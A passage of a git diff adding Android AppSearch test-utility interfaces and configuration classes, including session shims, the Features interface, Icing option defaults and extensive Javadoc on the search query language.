+ * of a document, a ":" must be included between the property name and the term.
+ * <p>Example: "subject:important" matches documents that contain the term "important" in
+ * the "subject" property.
+ * </ul>
+ *
+ * <p>The above description covers the query operators that are supported on all versions of
+ * AppSearch. Additional operators and their required features are described below.
+ *
+ * <p>{@link Features#LIST_FILTER_QUERY_LANGUAGE}: This feature covers the expansion of the
+ * query language to conform to the definition of the list filters language (https://aip
+ * .dev/160). This includes:
+ *
+ * <ul>
+ * <li>addition of explicit 'AND' and 'NOT' operators
+ * <li>property restricts are allowed with groupings (ex. "prop:(a OR b)")
+ * <li>addition of custom functions to control matching
+ * </ul>
+ *
+ * <p>The newly added custom functions covered by this feature are:
+ *
+ * <ul>
+ * <li>createList(String...)
+ * <li>search(String, List<String>)
+ * <li>propertyDefined(String)
+ * </ul>
+ *
+ * <p>createList takes a variable number of strings and returns a list of strings. It is for use
+ * with search.
+ *
+ * <p>search takes a query string that will be parsed according to the supported query language
+ * and an optional list of strings that specify the properties to be restricted to. This exists
+ * as a convenience for multiple property restricts. So, for example, the query `(subject:foo OR
+ * body:foo) (subject:bar OR body:bar)` could be rewritten as `search("foo bar",
+ * createList("subject", "bar"))`.
+ *
+ * <p>propertyDefined takes a string specifying the property of interest and matches all
+ * documents of any type that defines the specified property (ex.
+ * `propertyDefined("sender.name")`). Note that propertyDefined will match so long as the
+ * document's type defines the specified property. It does NOT require that the document
+ * actually hold any values for this property.
+ *
+ * <p>{@link Features#NUMERIC_SEARCH}: This feature covers numeric search expressions. In the
+ * query language, the values of properties that have {@link
+ * AppSearchSchema.LongPropertyConfig#INDEXING_TYPE_RANGE} set can be matched with a numeric
+ * search expression (the property, a supported comparator and an integer value). Supported
+ * comparators are <, <=, ==, >= and >.
+ *
+ * <p>Ex. `price < 10` will match all documents that has a numeric value in its price property
+ * that is less than 10.
+ *
+ * <p>{@link Features#VERBATIM_SEARCH}: This feature covers the verbatim string operator
+ * (quotation marks).
+ *
+ * <p>Ex. `"foo/bar" OR baz` will ensure that 'foo/bar' is treated as a single 'verbatim' token.
+ *
+ * <p>The availability of each of these features can be checked by calling {@link
+ * Features#isFeatureSupported} with the desired feature.
+ *
+ * <p>Additional search specifications, such as filtering by {@link AppSearchSchema} type or
+ * adding projection, can be set by calling the corresponding {@link SearchSpec.Builder} setter.
+ *
+ * <p>This method is lightweight. The heavy work will be done in {@link
+ * SearchResultsShim#getNextPage}.
+ *
+ * @param queryExpression query string to search.
+ * @param searchSpec spec for setting document filters, adding projection, setting term match
+ * type, etc.
+ * @return a {@link SearchResultsShim} object for retrieved matched documents.
+ */
+ @NonNull
+ SearchResultsShim search(@NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Retrieves suggested Strings that could be used as {@code queryExpression} in {@link
+ * #search(String, SearchSpec)} API.
+ *
+ * <p>The {@code suggestionQueryExpression} can contain one term with no operators, or contain
+ * multiple terms and operators. Operators will be considered as a normal term. Please see the
+ * operator examples below. The {@code suggestionQueryExpression} must end with a valid term,
+ * the suggestions are generated based on the last term. If the input {@code
+ * suggestionQueryExpression} doesn't have a valid token, AppSearch will return an empty result
+ * list. Please see the invalid examples below.
+ *
+ * <p>Example: if there are following documents with content stored in AppSearch.
+ *
+ * <ul>
+ * <li>document1: "term1"
+ * <li>document2: "term1 term2"
+ * <li>document3: "term1 term2 term3"
+ * <li>document4: "org"
+ * </ul>
+ *
+ * <p>Search suggestions with the single term {@code suggestionQueryExpression} "t", the
+ * suggested results are:
+ *
+ * <ul>
+ * <li>"term1" - Use it to be queryExpression in {@link #search} could get 3 {@link
+ * SearchResult}s, which contains document 1, 2 and 3.
+ * <li>"term2" - Use it to be queryExpression in {@link #search} could get 2 {@link
+ * SearchResult}s, which contains document 2 and 3.
+ * <li>"term3" - Use it to be queryExpression in {@link #search} could get 1 {@link
+ * SearchResult}, which contains document 3.
+ * </ul>
+ *
+ * <p>Search suggestions with the multiple term {@code suggestionQueryExpression} "org t", the
+ * suggested result will be "org term1" - The last token is completed by the suggested String.
+ *
+ * <p>Operators in {@link #search} are supported.
+ *
+ * <p><b>NOTE:</b> Exclusion and Grouped Terms in the last term is not supported.
+ *
+ * <p>example: "apple -f": This Api will throw an {@link
+ * android.app.appsearch.exceptions.AppSearchException} with {@link
+ * AppSearchResult#RESULT_INVALID_ARGUMENT}.
+ *
+ * <p>example: "apple (f)": This Api will return an empty results.
+ *
+ * <p>Invalid example: All these input {@code suggestionQueryExpression} don't have a valid last
+ * token, AppSearch will return an empty result list.
+ *
+ * <ul>
+ * <li>"" - Empty {@code suggestionQueryExpression}.
+ * <li>"(f)" - Ending in a closed brackets.
+ * <li>"f:" - Ending in an operator.
+ * <li>"f " - Ending in trailing space.
+ * </ul>
+ *
+ * @param suggestionQueryExpression the non empty query string to search suggestions
+ * @param searchSuggestionSpec spec for setting document filters
+ * @return The pending result of performing this operation which resolves to a List of {@link
+ * SearchSuggestionResult} on success. The returned suggestion Strings are ordered by the
+ * number of {@link SearchResult} you could get by using that suggestion in {@link #search}.
+ * @see #search(String, SearchSpec)
+ */
+ @NonNull
+ ListenableFuture<List<SearchSuggestionResult>> searchSuggestionAsync(
+ @NonNull String suggestionQueryExpression,
+ @NonNull SearchSuggestionSpec searchSuggestionSpec);
+
+ /**
+ * Reports usage of a particular document by namespace and ID.
+ *
+ * <p>A usage report represents an event in which a user interacted with or viewed a document.
+ *
+ * <p>For each call to {@link #reportUsage}, AppSearch updates usage count and usage recency *
+ * metrics for that particular document. These metrics are used for ordering {@link #search}
+ * results by the {@link SearchSpec#RANKING_STRATEGY_USAGE_COUNT} and {@link
+ * SearchSpec#RANKING_STRATEGY_USAGE_LAST_USED_TIMESTAMP} ranking strategies.
+ *
+ * <p>Reporting usage of a document is optional.
+ *
+ * @param request The usage reporting request.
+ * @return The pending result of performing this operation which resolves to {@code null} on
+ * success.
+ */
+ @NonNull
+ ListenableFuture<Void> reportUsageAsync(@NonNull ReportUsageRequest request);
+
+ /**
+ * Removes {@link GenericDocument} objects by document IDs in a namespace from the {@link
+ * AppSearchSessionShim} database.
+ *
+ * <p>Removed documents will no longer be surfaced by {@link #search} or {@link
+ * #getByDocumentId} calls.
+ *
+ * <p>Once the database crosses the document count or byte usage threshold, removed documents
+ * will be deleted from disk.
+ *
+ * @param request {@link RemoveByDocumentIdRequest} with IDs in a namespace to remove from the
+ * index.
+ * @return a {@link ListenableFuture} which resolves to an {@link AppSearchBatchResult}. The
+ * keys of the {@link AppSearchBatchResult} represent the input IDs from the {@link
+ * RemoveByDocumentIdRequest} object. The values are either {@code null} on success, or a
+ * failed {@link AppSearchResult} otherwise. IDs that are not found will return a failed
+ * {@link AppSearchResult} with a result code of {@link AppSearchResult#RESULT_NOT_FOUND}.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, Void>> removeAsync(
+ @NonNull RemoveByDocumentIdRequest request);
+
+ /**
+ * Removes {@link GenericDocument}s from the index by Query. Documents will be removed if they
+ * match the {@code queryExpression} in given namespaces and schemaTypes which is set via {@link
+ * SearchSpec.Builder#addFilterNamespaces} and {@link SearchSpec.Builder#addFilterSchemas}.
+ *
+ * <p>An empty {@code queryExpression} matches all documents.
+ *
+ * <p>An empty set of namespaces or schemaTypes matches all namespaces or schemaTypes in the
+ * current database.
+ *
+ * @param queryExpression Query String to search.
+ * @param searchSpec Spec containing schemaTypes, namespaces and query expression indicates how
+ * document will be removed. All specific about how to scoring, ordering, snippeting and
+ * resulting will be ignored.
+ * @return The pending result of performing this operation.
+ * @throws IllegalArgumentException if the {@link SearchSpec} contains a {@link JoinSpec}.
+ * {@link JoinSpec} lets you join docs that are not owned by the caller, so the semantics of
+ * failures from this method would be complex.
+ */
+ @NonNull
+ ListenableFuture<Void> removeAsync(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Gets the storage info for this {@link AppSearchSessionShim} database.
+ *
+ * <p>This may take time proportional to the number of documents and may be inefficient to call
+ * repeatedly.
+ *
+ * @return a {@link ListenableFuture} which resolves to a {@link StorageInfo} object.
+ */
+ @NonNull
+ ListenableFuture<StorageInfo> getStorageInfoAsync();
+
+ /**
+ * Flush all schema and document updates, additions, and deletes to disk if possible.
+ *
+ * <p>The request is not guaranteed to be handled and may be ignored by some implementations of
+ * AppSearchSessionShim.
+ *
+ * @return The pending result of performing this operation. {@link
+ * android.app.appsearch.exceptions.AppSearchException} with {@link
+ * AppSearchResult#RESULT_INTERNAL_ERROR} will be set to the future if we hit error when
+ * save to disk.
+ */
+ @NonNull
+ ListenableFuture<Void> requestFlushAsync();
+
+ /**
+ * Returns the {@link Features} to check for the availability of certain features for this
+ * session.
+ */
+ @NonNull
+ Features getFeatures();
+
+ /**
+ * Closes the {@link AppSearchSessionShim} to persist all schema and document updates,
+ * additions, and deletes to disk.
+ */
+ @Override
+ void close();
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java
new file mode 100644
index 00000000000..12f77fb0691
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+
+/**
+ * Icing options for AppSearch local-storage. Note, these values are not necessarily the defaults
+ * set in {@link com.google.android.icing.proto.IcingSearchEngineOptions} proto.
+ */
+public class DefaultIcingOptionsConfig implements IcingOptionsConfig {
+ @Override
+ public int getMaxTokenLength() {
+ return DEFAULT_MAX_TOKEN_LENGTH;
+ }
+
+ @Override
+ public int getIndexMergeSize() {
+ return DEFAULT_INDEX_MERGE_SIZE;
+ }
+
+ @Override
+ public boolean getDocumentStoreNamespaceIdFingerprint() {
+ return true;
+ }
+
+ @Override
+ public float getOptimizeRebuildIndexThreshold() {
+ return 0.9f;
+ }
+
+ @Override
+ public int getCompressionLevel() {
+ return DEFAULT_COMPRESSION_LEVEL;
+ }
+
+ @Override
+ public boolean getAllowCircularSchemaDefinitions() {
+ return true;
+ }
+
+ @Override
+ public boolean getUseReadOnlySearch() {
+ return true;
+ }
+
+ @Override
+ public boolean getUsePreMappingWithFileBackedVector() {
+ return false;
+ }
+
+ @Override
+ public boolean getUsePersistentHashMap() {
+ return true;
+ }
+
+ @Override
+ public int getMaxPageBytesLimit() {
+ return DEFAULT_MAX_PAGE_BYTES_LIMIT;
+ }
+
+ @Override
+ public int getIntegerIndexBucketSplitThreshold() {
+ return DEFAULT_INTEGER_INDEX_BUCKET_SPLIT_THRESHOLD;
+ }
+
+ @Override
+ public boolean getLiteIndexSortAtIndexing() {
+ return DEFAULT_LITE_INDEX_SORT_AT_INDEXING;
+ }
+
+ @Override
+ public int getLiteIndexSortSize() {
+ return DEFAULT_LITE_INDEX_SORT_SIZE;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java
new file mode 100644
index 00000000000..59015b764b7
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.content.Context;
+
+/**
+ * A class that encapsulates all features that are only supported in certain cases (e.g. only on
+ * certain implementations or only at a certain Android API Level).
+ *
+ * <p>Features do not depend on any runtime state, and features will never be removed. Once {@link
+ * #isFeatureSupported} returns {@code true} for a certain feature, it is safe to assume that the
+ * feature will be available forever on that AppSearch storage implementation, at that Android API
+ * level, on that device.
+ */
+public interface Features {
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchResult.MatchInfo#getSubmatchRange} and {@link SearchResult.MatchInfo#getSubmatch}.
+ */
+ String SEARCH_RESULT_MATCH_INFO_SUBMATCH = "SEARCH_RESULT_MATCH_INFO_SUBMATCH";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * GlobalSearchSession#registerObserverCallback} and {@link
+ * GlobalSearchSession#unregisterObserverCallback}.
+ */
+ String GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK =
+ "GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * GlobalSearchSession#getSchema}.
+ */
+ String GLOBAL_SEARCH_SESSION_GET_SCHEMA = "GLOBAL_SEARCH_SESSION_GET_SCHEMA";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * GlobalSearchSession#getByDocumentId}.
+ */
+ String GLOBAL_SEARCH_SESSION_GET_BY_ID = "GLOBAL_SEARCH_SESSION_GET_BY_ID";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SetSchemaRequest.Builder#addAllowedRoleForSchemaTypeVisibility}, {@link
+ * SetSchemaRequest.Builder#clearAllowedRolesForSchemaTypeVisibility}, {@link
+ * GetSchemaResponse#getSchemaTypesNotDisplayedBySystem()}, {@link
+ * GetSchemaResponse#getSchemaTypesVisibleToPackages()}, {@link
+ * GetSchemaResponse#getRequiredPermissionsForSchemaTypeVisibility()}, {@link
+ * SetSchemaRequest.Builder#addRequiredPermissionsForSchemaTypeVisibility} and {@link
+ * SetSchemaRequest.Builder#clearRequiredPermissionsForSchemaTypeVisibility}
+ */
+ String ADD_PERMISSIONS_AND_GET_VISIBILITY = "ADD_PERMISSIONS_AND_GET_VISIBILITY";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig#TOKENIZER_TYPE_RFC822}.
+ */
+ String TOKENIZER_TYPE_RFC822 = "TOKENIZER_TYPE_RFC822";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.LongPropertyConfig#INDEXING_TYPE_RANGE} and all other numeric search
+ * features.
+ *
+ * <p>For details on the numeric search expressions in the query language, see {@link
+ * AppSearchSession#search}.
+ */
+ String NUMERIC_SEARCH = FeatureConstants.NUMERIC_SEARCH;
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig#TOKENIZER_TYPE_VERBATIM} and all other verbatim search
+ * features within the query language that allows clients to search using the verbatim string
+ * operator.
+ *
+ * <p>For details on the verbatim string operator, see {@link AppSearchSession#search}.
+ */
+ String VERBATIM_SEARCH = FeatureConstants.VERBATIM_SEARCH;
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers the expansion of the
+ * query language to conform to the definition of the list filters language
+ * (https://aip.dev/160).
+ *
+ * <p>For more details, see {@link AppSearchSession#search}.
+ */
+ String LIST_FILTER_QUERY_LANGUAGE = FeatureConstants.LIST_FILTER_QUERY_LANGUAGE;
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec#GROUPING_TYPE_PER_SCHEMA}
+ */
+ String SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA = "SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec.Builder#setPropertyWeights}.
+ */
+ String SEARCH_SPEC_PROPERTY_WEIGHTS = "SEARCH_SPEC_PROPERTY_WEIGHTS";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec.Builder#addFilterProperties}.
+ *
+ * @hide
+ */
+ String SEARCH_SPEC_ADD_FILTER_PROPERTIES = "SEARCH_SPEC_ADD_FILTER_PROPERTIES";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec.Builder#setRankingStrategy(String)}.
+ */
+ String SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION = "SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig#JOINABLE_VALUE_TYPE_QUALIFIED_ID}, {@link
+ * SearchSpec.Builder#setJoinSpec}, and all other join features.
+ */
+ String JOIN_SPEC_AND_QUALIFIED_ID = "JOIN_SPEC_AND_QUALIFIED_ID";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSession#searchSuggestion}.
+ */
+ String SEARCH_SUGGESTION = "SEARCH_SUGGESTION";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig.Builder#setDeletionPropagation}.
+ */
+ String SCHEMA_SET_DELETION_PROPAGATION = "SCHEMA_SET_DELETION_PROPAGATION";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers setting schemas with
+ * circular references for {@link AppSearchSession#setSchema}.
+ */
+ String SET_SCHEMA_CIRCULAR_REFERENCES = "SET_SCHEMA_CIRCULAR_REFERENCES";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.Builder#addParentType}.
+ */
+ String SCHEMA_ADD_PARENT_TYPE = "SCHEMA_ADD_PARENT_TYPE";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.DocumentPropertyConfig.Builder#addIndexableNestedProperties(String...)}
+ */
+ String SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES = "SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES";
+
+ /**
+ * Returns whether a feature is supported at run-time. Feature support depends on the feature in
+ * question, the AppSearch backend being used and the Android version of the device.
+ *
+ * <p class="note"><b>Note:</b> If this method returns {@code false}, it is not safe to invoke
+ * the methods requiring the desired feature.
+ *
+ * @param feature the feature to be checked
+ * @return whether the capability is supported given the Android API level and AppSearch
+ * backend.
+ */
+ boolean isFeatureSupported(@NonNull String feature);
+
+ /**
+ * Returns the maximum amount of properties that can be indexed in a Document given the Android
+ * API level and AppSearch backend.
+ *
+ * <p>A property is defined as all values that are present at a particular path.
+ *
+ * @param context to check mainline module version, as support varies by module version.
+ */
+ int getMaxIndexedProperties(@NonNull Context context);
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java
new file mode 100644
index 00000000000..a28d44c3492
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.annotation.SuppressLint;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.app.appsearch.observer.ObserverCallback;
+import android.app.appsearch.observer.ObserverSpec;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.io.Closeable;
+import java.util.concurrent.Executor;
+
+/**
+ * Provides a connection to all AppSearch databases the querying application has been granted access
+ * to.
+ *
+ * <p>All implementations of this interface must be thread safe.
+ *
+ * @see AppSearchSessionShim
+ */
+public interface GlobalSearchSessionShim extends Closeable {
+ /**
+ * Retrieves {@link GenericDocument} documents, belonging to the specified package name and
+ * database name and identified by the namespace and ids in the request, from the {@link
+ * GlobalSearchSessionShim} database. When a call is successful, the result will be returned in
+ * the successes section of the {@link AppSearchBatchResult} object in the callback. If the
+ * package doesn't exist, database doesn't exist, or if the calling package doesn't have access,
+ * these failures will be reflected as {@link AppSearchResult} objects with a RESULT_NOT_FOUND
+ * status code in the failures section of the {@link AppSearchBatchResult} object.
+ *
+ * @param packageName the name of the package to get from
+ * @param databaseName the name of the database to get from
+ * @param request a request containing a namespace and IDs of the documents to retrieve.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull String packageName,
+ @NonNull String databaseName,
+ @NonNull GetByDocumentIdRequest request);
+
+ /**
+ * Retrieves documents from all AppSearch databases that the querying application has access to.
+ *
+ * <p>Applications can be granted access to documents by specifying {@link
+ * SetSchemaRequest.Builder#setSchemaTypeVisibilityForPackage}, or {@link
+ * SetSchemaRequest.Builder#setDocumentClassVisibilityForPackage} when building a schema.
+ *
+ * <p>Document access can also be granted to system UIs by specifying {@link
+ * SetSchemaRequest.Builder#setSchemaTypeDisplayedBySystem}, or {@link
+ * SetSchemaRequest.Builder#setDocumentClassDisplayedBySystem} when building a schema.
+ *
+ * <p>See {@link AppSearchSessionShim#search} for a detailed explanation on forming a query
+ * string.
+ *
+ * <p>This method is lightweight. The heavy work will be done in {@link
+ * SearchResultsShim#getNextPage}.
+ *
+ * @param queryExpression query string to search.
+ * @param searchSpec spec for setting document filters, adding projection, setting term match
+ * type, etc.
+ * @return a {@link SearchResultsShim} object for retrieved matched documents.
+ */
+ @NonNull
+ SearchResultsShim search(@NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Reports that a particular document has been used from a system surface.
+ *
+ * <p>See {@link AppSearchSessionShim#reportUsage} for a general description of document usage,
+ * as well as an API that can be used by the app itself.
+ *
+ * <p>Usage reported via this method is accounted separately from usage reported via {@link
+ * AppSearchSessionShim#reportUsage} and may be accessed using the constants {@link
+ * SearchSpec#RANKING_STRATEGY_SYSTEM_USAGE_COUNT} and {@link
+ * SearchSpec#RANKING_STRATEGY_SYSTEM_USAGE_LAST_USED_TIMESTAMP}.
+ *
+ * @return The pending result of performing this operation which resolves to {@code null} on
+ * success. The pending result will be completed with an {@link
+ * android.app.appsearch.exceptions.AppSearchException} with a code of {@link
+ * AppSearchResult#RESULT_SECURITY_ERROR} if this API is invoked by an app which is not part
+ * of the system.
+ */
+ @NonNull
+ ListenableFuture<Void> reportSystemUsageAsync(@NonNull ReportSystemUsageRequest request);
+
+ /**
+ * Retrieves the collection of schemas most recently successfully provided to {@link
+ * AppSearchSessionShim#setSchema} for any types belonging to the requested package and database
+ * that the caller has been granted access to.
+ *
+ * <p>If the requested package/database combination does not exist or the caller has not been
+ * granted access to it, then an empty GetSchemaResponse will be returned.
+ *
+ * @param packageName the package that owns the requested {@link AppSearchSchema} instances.
+ * @param databaseName the database that owns the requested {@link AppSearchSchema} instances.
+ * @return The pending {@link GetSchemaResponse} containing the schemas that the caller has
+ * access to or an empty GetSchemaResponse if the request package and database does not
+ * exist, has not set a schema or contains no schemas that are accessible to the caller.
+ */
+ // This call hits disk; async API prevents us from treating these calls as properties.
+ @SuppressLint("KotlinPropertyAccess")
+ @NonNull
+ ListenableFuture<GetSchemaResponse> getSchemaAsync(
+ @NonNull String packageName, @NonNull String databaseName);
+
+ /**
+ * Returns the {@link Features} to check for the availability of certain features for this
+ * session.
+ */
+ @NonNull
+ Features getFeatures();
+
+ /**
+ * Adds an {@link ObserverCallback} to monitor changes within the databases owned by {@code
+ * targetPackageName} if they match the given {@link
+ * android.app.appsearch.observer.ObserverSpec}.
+ *
+ * <p>The observer callback is only triggered for data that changes after it is registered. No
+ * notification about existing data is sent as a result of registering an observer. To find out
+ * about existing data, you must use the {@link GlobalSearchSessionShim#search} API.
+ *
+ * <p>If the data owned by {@code targetPackageName} is not visible to you, the registration
+ * call will succeed but no notifications will be dispatched. Notifications could start flowing
+ * later if {@code targetPackageName} changes its schema visibility settings.
+ *
+ * <p>If no package matching {@code targetPackageName} exists on the system, the registration
+ * call will succeed but no notifications will be dispatched. Notifications could start flowing
+ * later if {@code targetPackageName} is installed and starts indexing data.
+ *
+ * <p>This feature may not be available in all implementations. Check {@link
+ * Features#GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK} before calling this method.
+ *
+ * @param targetPackageName Package whose changes to monitor
+ * @param spec Specification of what types of changes to listen for
+ * @param executor Executor on which to call the {@code observer} callback methods.
+ * @param observer Callback to trigger when a schema or document changes
+ * @throws AppSearchException if an error occurs trying to register the observer
+ * @throws UnsupportedOperationException if this feature is not available on this AppSearch
+ * implementation.
+ */
+ void registerObserverCallback(
+ @NonNull String targetPackageName,
+ @NonNull ObserverSpec spec,
+ @NonNull Executor executor,
+ @NonNull ObserverCallback observer)
+ throws AppSearchException;
+
+ /**
+ * Removes previously registered {@link ObserverCallback} instances from the system.
+ *
+ * <p>All instances of {@link ObserverCallback} which are registered to observe {@code
+ * targetPackageName} and compare equal to the provided callback using the provided argument's
+ * {@link ObserverCallback#equals} will be removed.
+ *
+ * <p>If no matching observers have been registered, this method has no effect. If multiple
+ * matching observers have been registered, all will be removed.
+ *
+ * <p>This feature may not be available in all implementations. Check {@link
+ * Features#GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK} before calling this method.
+ *
+ * @param targetPackageName Package which the observers to be removed are listening to.
+ * @param observer Callback to unregister.
+ * @throws AppSearchException if an error occurs trying to remove the observer, such as a
+ * failure to communicate with the system service in the platform backend. Note that no
+ * error will be thrown if the provided observer doesn't match any registered observer.
+ * @throws UnsupportedOperationException if this feature is not available on this AppSearch
+ * implementation.
+ */
+ void unregisterObserverCallback(
+ @NonNull String targetPackageName, @NonNull ObserverCallback observer)
+ throws AppSearchException;
+
+ /** Closes the {@link GlobalSearchSessionShim}. */
+ @Override
+ void close();
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java
new file mode 100644
index 00000000000..511d7170157
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.io.Closeable;
+import java.util.List;
+
+/**
+ * Encapsulates results of a search operation.
+ *
+ * <p>Each {@link AppSearchSessionShim#search} operation returns a list of {@link SearchResult}
+ * objects, referred to as a "page", limited by the size configured by {@link
+ * SearchSpec.Builder#setResultCountPerPage}.
+ *
+ * <p>To fetch a page of results, call {@link #getNextPageAsync()}.
+ *
+ * <p>All instances of {@link SearchResultsShim} must call {@link SearchResultsShim#close()} after
+ * the results are fetched.
+ *
+ * <p>This class is not thread safe.
+ */
+public interface SearchResultsShim extends Closeable {
+ /**
+ * Retrieves the next page of {@link SearchResult} objects.
+ *
+ * <p>The page size is configured by {@link SearchSpec.Builder#setResultCountPerPage}.
+ *
+ * <p>Continue calling this method to access results until it returns an empty list, signifying
+ * there are no more results.
+ *
+ * @return a {@link ListenableFuture} which resolves to a list of {@link SearchResult} objects.
+ */
+ @NonNull
+ ListenableFuture<List<SearchResult>> getNextPageAsync();
+
+ @Override
+ void close();
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java
new file mode 100644
index 00000000000..15a08995a44
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+
+/**
+ * In Jetpack, AppSearch doesn't enforce artificial limits on number of documents or size of
